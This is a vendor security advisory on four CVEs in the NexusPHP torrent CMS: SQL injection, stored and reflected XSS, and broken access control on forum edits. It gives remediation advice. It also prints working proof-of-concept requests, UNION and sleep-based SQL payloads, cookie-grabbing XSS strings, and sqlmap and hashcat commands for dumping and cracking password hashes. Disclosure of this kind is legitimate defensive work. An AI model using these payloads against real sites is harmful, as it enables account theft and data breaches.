Headline
CVE-2022-46890: NexusPHP - SureCloud Security Review Identifies Authenticated and Unauthenticated Vulnerabilities
Weak access control in NexusPHP before 1.7.33 allows a remote authenticated user to edit any post in the forum (this is caused by a lack of checks performed by the /forums.php?action=post page).
SureCloud undertook an independent security review of NexusPHP and identified multiple vulnerabilities from both authenticated and unauthenticated sources that could be exploited remotely.
Identifying vulnerabilities is part of how SureCloud provides its clients with superior risk management and security services and tools — explore the possibilities of SureCloud’s Vulnerability Management software.
In our NexusPHP security review, we assigned the following CVEs:
- CVE2022-46887 – Unauthenticated SQL Injection
- CVE2022-46889 – Authenticated Stored Cross-Site Scripting
- CVE2022-46888 – Unauthenticated Reflected Cross-Site Scripting
- CVE2022-46890 – Weak Access Control
These CVEs impact all versions of NexusPHP before and including 1.7.32. The latest version, 1.7.33, includes security fixes for all of the above vulnerabilities.
Below is a detailed overview of the NexusPHP platform, the vulnerabilities SureCloud identified, and suggestions on how to fix them.
****What is NexusPHP?****
NexusPHP (github.com/xiaomlove/nexusphp – nexusphp.org) is an open-source private torrent (PT) content management system (CMS).
Compared to a public torrent tracker, a private one only allows users that are logged in to browse, download and upload torrents from its URL. This project was forked from an outdated and unmaintained version of NexusPHP (github.com/zjutjh/NexusPHP) and enriched with Laravel and Filament.
****What is an SQL Injection?****
Structured Query Language (SQL) Injection is a vulnerability that occurs when an attacker directly embeds code into an SQL query. This results in a change to the meaning of the original query and the unexpected modification or extraction of potentially sensitive data.
It is one of the most harmful types of attack, as it can be used against any website or web application that uses an SQL-based database. In some extreme situations, it would also be possible to compromise the underlying Database Management System (DBMS) and gain access to an organization’s entire infrastructure.
There are two main ways to exploit SQL injections:
Results in output – Occurs when the output from the manipulated query is reflected in the application’s response via an error message or in the page content, making it very easy to identify this type of vulnerability
Blind – Occurs when no output data or error message is returned in the application’s responses. The extraction of sensitive data can still happen via the use of time-based functions embedded in the DBMS
****CVE2022-46887 – Unauthenticated SQL Injection****
Unauthenticated remote attackers can exploit an instance of SQL injection (time-based function) affecting the ‘conuser[]’ parameter in ‘takeconfirm.php’.
A proof of concept request will make the DBMS go into a state of sleep for two seconds before serving the following response:
POST /takeconfirm.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
id=1&email=fail_sendmail&conusr[]=1-sleep(2));+–+
This behavior is caused by the way the ‘consur’ parameter is handled in line nine of the file, /public/takeconfirm.php:
if(isset($_POST[‘conusr’]))
sql_query(“UPDATE users SET status = ‘confirmed’, editsecret = ” WHERE id IN (” . implode(“, “, $_POST[‘conusr’]) . “) AND status=’pending’”);
As this is a time-based SQL injection, it can be exploited by automated tools such as ‘sqlmap’. For example:
sqlmap -r post_request.txt -D nexusphp -T users -C secret,passhash –dump
With secret (salt) and passhash obtained, the original plaintext password can be retrieved using hashcat with the following parameter:
File format: <passhash>:<secret>
Run: hashcat.exe -m 3800
Several other authenticated SQL injections were observed during the code review, but a CVE was not requested due to the authentication needed to fully exploit them. For example:
Page: cheaterbox.phpParameter: delcheaterPrivileges: Staff MemberProof of concept:
_**POST/cheaterbox.php \[…\]**_
_**setdealt=Set+Dealt&delcheater\[\]=0)+UNION+ALL+SELECT+(‘anything’**_
Caused by the following code in public/cheaterbox.php:
15: $res = sql_query (“SELECT id FROM cheaters WHERE dealtwith=0 AND id IN (” . implode(“, “, $_POST[‘delcheater’]) . “)”);
24: $res = sql_query (“SELECT id FROM cheaters WHERE id IN (” . implode(“, “, $_POST[‘delcheater’]) . “)”);
Page: nowarn.phpParameter: usernwPrivilege: Staff MemberProof of concept:
_**POST /nowarn.php HTTP/1.1**_
_**\[…\]**_ _**nowarned=nowarned&usernw\[\]=2)+UNION+SELECT+passhash+FROM+users+WHERE+ID=(1&**_
_**desact=1&delete=o**_
Caused by the following code in public/nowarn.php:
27: $r = sql_query(“SELECT modcomment FROM users WHERE id IN (” . implode(“, “, $_POST[‘usernw’]) . “)”)or sqlerr(__FILE__, __LINE__);
****How do you prevent SQL Injections?****
It’s possible to prevent SQL injections at the code base by filtering user input. This is done by implementing prepared statements or stored procedures that are available in all programming languages. This prevents user input interfering with the query structure and the original meaning remains unchanged.
Other best practices should also be in place to limit the impact of potential SQL Injection vulnerabilities. For example:
The principle of least privilege when connecting to a DBMS
A Web Application Firewall (WAF), which prevents common payloads from exploiting the vulnerability
Software Development Lifecycle (SDLC) methodology can help identify vulnerabilities before they are pushed into a production environment through the use of code analysis tools
****What is Cross-Site Scripting (XSS)?****
Cross-site scripting attacks occur when user input is reflected into the application’s page without being properly sanitized. This allows for the possible injection of JavaScript or HTML code that can be executed once the page is rendered in a browser.
There are three types of XSS:
Stored – This occurs when the user input is stored within a database and is returned unsanitized in later responses. E.g. every time a visitor opens a specific page in the vulnerable application
Reflected – This happens when the user input (often in GET or POST parameter) is reflected back unsanitized, but only in the current response. Therefore, the XSS payload must be embedded in the request to be successful
DOM-based – Commonly occurs when the user input changes the browser’s DOM environment in a way that JavaScript code is injected and executed. This often happens because client-side JavaScript cannot process data from untrusted input sources, such as old libraries
****CVE2022-46880 – Authenticated Stored Cross-Site Scripting** **
An authenticated attacker with permissions to upload new subtitles can exploit an instance of cross-site scripting (stored) affecting the ‘title’ parameter used in ‘subtitles.php’ page.
A proof of concept request is as follows:
POST /subtitles.php? HTTP/1.1
Host: 192.168.204.137
Content-Type: multipart/form-data; boundary=—————————538246582365809108635404342
Content-Length: 706
Cookie: <valid session token>
—————————–538246582365809108635404342
Content-Disposition: form-data; name=”action”
Upload
—————————–538246582365809108635404342
Content-Disposition: form-data; name=”file”; filename=”test.srt”
Content-Type: text/html
Test
—————————–538246582365809108635404342
Content-Disposition: form-data; name=”torrent_id”
1
—————————–538246582365809108635404342
Content-Disposition: form-data; name=”title”
111<svg/onload=alert(document.cookie);>
—————————–538246582365809108635404342
Content-Disposition: form-data; name=”sel_lang”
14
—————————–538246582365809108635404342–
This is caused by how the ‘details.php’ page reflects the user input (title) without proper encoding:
while($a = mysql_fetch_assoc($r))
[…]
<u>”. $a[“title”]. “</u>
[…]
****CVE2022-46888 – Unauthenticated Reflected Cross-Site Scripting** **
An unauthenticated attacker can exploit an instance of cross-site scripting (reflected) affecting the ‘secret’ parameter used on the ‘login.php’ page.
The proof of concept request is as follows:
/login.php?secret=”><svg+onload=”alert(document.cookie)
The input passed in ‘secret’ is reflected twice in the response page without proper encoding, which allows JavaScript code to be executed in the browser. The issue is caused by the following line in the code of public/login.php:
53: <input type=”hidden” name=”secret” value=”<?php echo $_GET[‘secret’] ?? ”?>”>
Several other instances of cross-site scripting, authenticated or unauthenticated, were observed during the code review, but no CVEs were raised. For example:
Page: user-ban-log.phpParameter: qPrivilege: unauthenticatedProof of concept: /user-ban-log.php?q=admin”><svg/onload=alert(document.cookie)>
Page: log.phpParameter: queryPrivilege: user roleProof of concept: /log.php?query=”><svg+onload=”alert(document.cookie)&search=all&action=dailylog
Page: moresmiles.phpParameter: textPrivilege: user roleProof of concept: /moresmilies.php?form=&text=’)”><svg+onload=alert(document.cookie)>
Page: myhr.phpParameter: qPrivilege: user roleProof of concept: /myhr.php?q=”><svg+onload=alert(document.cookie)>
Page: viewrequests.phpParameter: id**
Privilege:** user roleProof of concept: /viewrequests.php?action=newmessage&id=><svg+onload=alert(document.cookie) and /viewrequests.php?action=res&id=”><svg+onload=”alert(document.cookie)
****What’s the solution to XSS?****
The best way to defend against cross-site scripting is output encoding. All user input reflected in a later response, received from a database or from a GET/POST parameter, should be encoded to prevent it from being executed in a browser. Several types of encoding can be applied based on where the user output is returned, such as URL and HTML JavaScript or CSS encoding.
You can implement other security measures to limit the severity of an XSS attack, such as the use of ‘Content Type’ and ‘X-Content-Type-Options’ response headers. Both will ensure browsers interpret responses in the intended way, for example, text/plain instead of text/html.
Using an ‘HTTPOnly’ flag in-session helps prevent JavaScript from reading content or implementing a Content Security Policy (CSP) header to specify which resources can be executed on the application.
****What is Weak Access Control?****
Access Control regulates which actions can be performed in the application. For example, standard users shouldn’t be able to use or access functionalities only available to administrative users. These controls are created by a programmer, and so are not usually made or enforced by the technology or framework in use.
The main types of access controls are:
Horizontal access controls – These controls prevent User A from accessing/editing/deleting functionalities belonging to User B
Vertical access controls – These controls prevent User A from accessing/editing/deleting functionalities belonging to a higher user privilege: e.g., an administrative user
Context-dependent access controls – These controls prevent any kind of user from subverting the logic of one or multiple application functionalities: e.g., multi-step user journey
****CVE2022-46890 – Weak Access Control****
In this case, the type of weak access control identified within the application was vertical. An authenticated user can edit any post within the forum, even those not accessible or visible to their current role. The attack is made possible because the application did not check the permissions before executing the edit action.
The proof of concept POST request is as follows:
POST /forums.php?action=post HTTP/1.1
Host: 192.168.204.137
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Cookie: <valid session cookies>
id=7&type=edit&color=0&font=0&size=0&body=permissions+check2
Once the page refreshed, a standard user (user 2) was able to edit the content of a post created by an administrative user.
By enumerating the ‘id’ parameter (incremental numeric digits), it is possible to replace any post created in the forum with a custom message.
Several other misconfigurations were also observed during the code review, but CVEs weren’t requested.
For example, it was possible to access the shout box, a chat box for users of the platform, from an unauthenticated perspective by simply browsing the URL ‘/shoutbox.php’.
Similarly, the ‘aboutnexus.php’ page was also accessible as an unauthenticated user, which contained sensitive information about the current version of NexusPHP.
Finally, an open redirect was identified and was exploitable from an authenticated perspective. Open redirect can trick the user into landing on an arbitrary page outside of the application’s scope and can be exploited as follows:
POST forums.php?action=setsticky
[…]
topicid=1&returnto=https://www.google.com
****Weak Access Control prevention****
To prevent access control vulnerabilities, it is fundamental for programmers to implement the following principles:
All backend pages must check the validity of a user’s session, via a cookie or authentication token, before serving any content
When multiple user roles are involved, the web application must consider each role and check if the currently logged-in user is allowed to access such functionality. Do not rely on user input to check the role. A map or matrix on the server must perform this check
Access to resources or data belonging to different users must validate if the currently logged-in user is the resource’s owner before being served
Avoid using a predictable resource identifier (e.g., numeric or incremental IDs). It is widely recommended to use universally unique identifiers for UUIDs
Before publishing the application, implement test cases in the SDLC so that each possible case scenario is tested and triaged in pre-production
****Need some assistance?** ******To find out more about how SureCloud’s products or services can support the security posture of your application and identify vulnerabilities, contact a member of our team or visit www.surecloud.com.****